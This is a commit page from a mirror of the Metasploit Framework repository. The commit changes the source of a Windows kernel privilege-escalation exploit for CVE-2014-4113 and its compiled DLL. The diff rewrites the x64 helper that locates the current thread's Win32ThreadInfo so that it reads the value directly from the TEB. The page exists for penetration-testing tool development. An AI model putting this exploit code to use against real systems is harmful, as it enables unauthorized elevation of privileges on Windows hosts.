github
/
metasploit-framework
mirror of https://github.com/rapid7/metasploit-framework
1
Fork 0
Code Releases Activity

Make GetPtiCurrent USER32 independent

This commit is contained in:
jvazquez-r7 2014-10-26 18:51:02 -05:00
parent c319ea91b3
commit 0aaebc7872
2 changed files with 3 additions and 40 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

BIN
data/exploits/CVE-2014-4113/cve-2014-4113.x64.dll
View File

Binary file not shown.

43
external/source/exploits/cve-2014-4113/cve-2014-4113/cve-2014-4113.c vendored
View File

@ -108,47 +108,10 @@ LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) {
#ifdef _M_X64
QWORD MyPtiCurrent(void) {
struct _IMAGE_DOS_HEADER *hUser32;
PIMAGE_DOS_HEADER dosHeader;
FARPROC tmpProcAddress;
PIMAGE_NT_HEADERS ntHeader;
QWORD imageBase;
BYTE currentByte;
QWORD sizeOfImage;
int counter;
PIMAGE_DOS_HEADER(*v8)(void);
PIMAGE_DOS_HEADER *v10;
void *teb = (void *)__readgsqword(0x30);
QWORD Win32ThreadInfo = (QWORD)*((PQWORD)((PBYTE)teb + 0x78));
v10 = 0;
hUser32 = LoadLibraryA("user32.dll");
dosHeader = hUser32;
if (hUser32) {
tmpProcAddress = GetProcAddress(hUser32, "AnimateWindow");
if (tmpProcAddress && dosHeader->e_magic == 'ZM') {
ntHeader = (PIMAGE_NT_HEADERS)((BYTE *)dosHeader + dosHeader->e_lfanew);
imageBase = ntHeader->OptionalHeader.ImageBase;
currentByte = *(BYTE *)tmpProcAddress;
sizeOfImage = imageBase + ntHeader->OptionalHeader.SizeOfImage;
counter = 0;
do {
if (currentByte == 0xe8) {
v8 = (FARPROC)((char *)tmpProcAddress);
v8 = (FARPROC)((QWORD)v8 + counter);
v8 = (FARPROC)((DWORD)v8 + *(DWORD *)((char *)tmpProcAddress + counter + 1));
v8 = (FARPROC)((QWORD)v8 + 5);
if (((QWORD)v8 >= imageBase) && ((QWORD)v8 <= sizeOfImage)) {
v10 = (PIMAGE_DOS_HEADER *)v8();
break;
}
}
counter++;
currentByte = *((BYTE *)tmpProcAddress + counter);
} while (counter <= 70);
}
FreeLibrary(dosHeader);
dosHeader = (PIMAGE_DOS_HEADER)v10;
}
return (QWORD)dosHeader;
return Win32ThreadInfo;
}
#else
DWORD __stdcall MyPtiCurrent() {